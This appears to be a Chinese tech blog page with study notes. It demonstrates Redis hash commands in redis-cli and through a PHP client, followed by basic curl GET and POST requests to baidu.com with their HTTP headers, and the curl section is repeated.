    redis 127.0.0.1:6379> hsetnx myhash field1 stephen
    (integer) 1
    #由于myhash的field1字段已经通过上一条命令添加成功,因为本条命令不做任何操作后返回0。
    redis 127.0.0.1:6379> hsetnx myhash field1 stephen
    (integer) 0

   2. HINCRBY:
    #删除该键,便于后面示例的测试。
    redis 127.0.0.1:6379> del myhash
    (integer) 1
    #准备测试数据,该myhash的field字段设定值1。
    redis 127.0.0.1:6379> hset myhash field 5
    (integer) 1
    #给myhash的field字段的值加1,返回加后的结果。
    redis 127.0.0.1:6379> hincrby myhash field 1
    (integer) 6
    #给myhash的field字段的值加-1,返回加后的结果。
    redis 127.0.0.1:6379> hincrby myhash field -1
    (integer) 5
    #给myhash的field字段的值加-10,返回加后的结果。
    redis 127.0.0.1:6379> hincrby myhash field -10
    (integer) -5  

    3. HGETALL/HKEYS/HVALS/HMGET/HMSET:
    #删除该键,便于后面示例测试。
    redis 127.0.0.1:6379> del myhash
    (integer) 1
    #为该键myhash,一次性设置多个字段,分别是field1 = "hello", field2 = "world"。
    redis 127.0.0.1:6379> hmset myhash field1 "hello" field2 "world"
    OK
    #获取myhash键的多个字段,其中field3并不存在,因为在返回结果中与该字段对应的值为nil。
    redis 127.0.0.1:6379> hmget myhash field1 field2 field3
    1) "hello"
    2) "world"
    3) (nil)
    #返回myhash键的所有字段及其值,从结果中可以看出,他们是逐对列出的。
    redis 127.0.0.1:6379> hgetall myhash
    1) "field1"
    2) "hello"
    3) "field2"
    4) "world"
    #仅获取myhash键中所有字段的名字。
    redis 127.0.0.1:6379> hkeys myhash
    1) "field1"
    2) "field2"
    #仅获取myhash键中所有字段的值。
    redis 127.0.0.1:6379> hvals myhash
    1) "hello"
    2) "world"

来自:http://www.cnblogs.com/stephen-liu74/archive/2012/03/19/2352932.html
实践如下:
Redis学习手册(Hashes数据类型):

/usr/local/redis/bin/redis-cli -h 10.44.202.177 -p 6379
10.44.202.177:6379> hset myhash field1 "stephen"
(integer) 1
10.44.202.177:6379>  hget myhash field1
"stephen"
10.44.202.177:6379> hget myhash field2
(nil)
10.44.202.177:6379>  hset myhash field2 "liu"
(integer) 1
10.44.202.177:6379>  hlen myhash
(integer) 2
10.44.202.177:6379> hexists myhash field1
(integer) 1
10.44.202.177:6379>
10.44.202.177:6379>  hdel myhash field1
(integer) 1
10.44.202.177:6379>  hdel myhash field1
(integer) 0
10.44.202.177:6379> hexists myhash field1
(integer) 0
10.44.202.177:6379>  hsetnx myhash field1 stephen
(integer) 1
10.44.202.177:6379>  hsetnx myhash field1 stephen
(integer) 0
10.44.202.177:6379>  del myhash
(integer) 1
10.44.202.177:6379> hset myhash field 5
(integer) 1
10.44.202.177:6379>  hincrby myhash field 1
(integer) 6
10.44.202.177:6379>  hincrby myhash field -1
(integer) 5
10.44.202.177:6379>  hincrby myhash field -10
(integer) -5
10.44.202.177:6379>  del myhash
(integer) 1
10.44.202.177:6379>  hmset myhash field1 "hello" field2 "world"
OK
10.44.202.177:6379>  hmget myhash field1 field2 field3
1) "hello"
2) "world"
3) (nil)
10.44.202.177:6379> hgetall myhash
1) "field1"
2) "hello"
3) "field2"
4) "world"
10.44.202.177:6379>  hkeys myhash
1) "field1"
2) "field2"
10.44.202.177:6379> hvals myhash
1) "hello"
2) "world"



PHP如何设置Hash:

<?php
$redis = new redis();
$redis->connect('10.51.77.34', 6379);
$redis->delete('test');
$redis->hset('test', 'key1', 'hello');
echo $redis->hget('test', 'key1');     //结果:hello

echo "<br>";
$redis->hSetNx('test', 'key1', 'world');
echo $redis->hget('test', 'key1');   //结果:hello

$redis->delete('test');
$redis->hSetNx('test', 'key1', 'world');
echo "<br>";
echo $redis->hget('test', 'key1');   //结果:world

echo $redis->hlen('test');   //结果:1
var_dump($redis->hdel('test','key1'));  //结果:bool(true)

$redis->delete('test');
$redis->hSet('test', 'a', 'x');
$redis->hSet('test', 'b', 'y');
$redis->hSet('test', 'c', 'z');
print_r($redis->hkeys('test'));  //结果:Array ( [0] => a [1] => b [2] => c )

print_r($redis->hvals('test'));  //结果:Array ( [0] => x [1] => y [2] => z )

print_r($redis->hgetall('test'));  //结果:Array ( [a] => x [b] => y [c] => z )

var_dump($redis->hExists('test', 'a'));  //结果:bool(true)

$redis->delete('test');
echo $redis->hIncrBy('test', 'a', 3);    //结果:3
echo $redis->hIncrBy('test', 'a', 1);    //结果:4

$redis->delete('test');
var_dump($redis->hmset('test', array('name' =>'tank', 'sex'=>"man"))); //结果:bool(true)
print_r($redis->hmget('test', array('name', 'sex')));  //结果:Array ( [name] => tank [sex] => man )

$redis->hSet("hashA", "name", "iname");
$redis->hSet("hashA", "age", "age");

// 同时设置多个值
$redis->hMset("hashA", [
    "gender" => "male",
    "salary" => 12000
]);
$redis->hGet("hashA", "salary");

// 获得多个值
var_dump($redis->hMGet("hashA", ["name", "gender"]));
?>




php redishash.php
hello<br>hello<br>world1int(1)
Array
(
    [0] => a
    [1] => b
    [2] => c
)
Array
(
    [0] => x
    [1] => y
    [2] => z
)
Array
(
    [a] => x
    [b] => y
    [c] => z
)
bool(true)
34bool(true)
Array
(
    [name] => tank
    [sex] => man
)
array(2) {
  ["name"]=>
  string(5) "iname"
  ["gender"]=>
  string(4) "male"
}
来自:http://blog.csdn.net/qjwcn/article/details/45293035
内容:
curl -XGET http://baidu.com

GET / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:56:42 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:56:42 GMT
Connection: Keep-Alive
Content-Type: text/html

<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>



curl -XPOST http://baidu.com


POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:59:50 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:59:50 GMT
Connection: Keep-Alive
Content-Type: text/html

<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>



Post加个参数:
curl -XPOST http://baidu.com -d'say=hello'

POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
Content-Length: 9
Content-Type: application/x-www-form-urlencoded

say=helloHTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:03:47 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:03:47 GMT
Connection: Keep-Alive
Content-Type: text/html

<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>



Get里加个参数:
curl -XGET http://baidu.com?say=hello

GET /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:05:06 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: '51-47cf7e6ee8400'
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:05:06 GMT
Connection: Keep-Alive
Content-Type: text/html

<html>
<meta http-equiv='refresh' content='0;url=http://www.baidu.com/'>
</html>
内容:
curl -XGET http://baidu.com

GET / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:56:42 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:56:42 GMT
Connection: Keep-Alive
Content-Type: text/html

<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>



curl -XPOST http://baidu.com


POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 03:59:50 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 03:59:50 GMT
Connection: Keep-Alive
Content-Type: text/html

<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>



Post加个参数:
curl -XPOST http://baidu.com -d"say=hello"

POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
Content-Length: 9
Content-Type: application/x-www-form-urlencoded

say=helloHTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:03:47 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:03:47 GMT
Connection: Keep-Alive
Content-Type: text/html

<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>



Get里加个参数:
curl -XGET http://baidu.com?say=hello

GET /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:05:06 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:05:06 GMT
Connection: Keep-Alive
Content-Type: text/html

<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
分页: 28/272 第一页 上页 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 下页 最后页 [ 显示模式: 摘要 | 列表 ]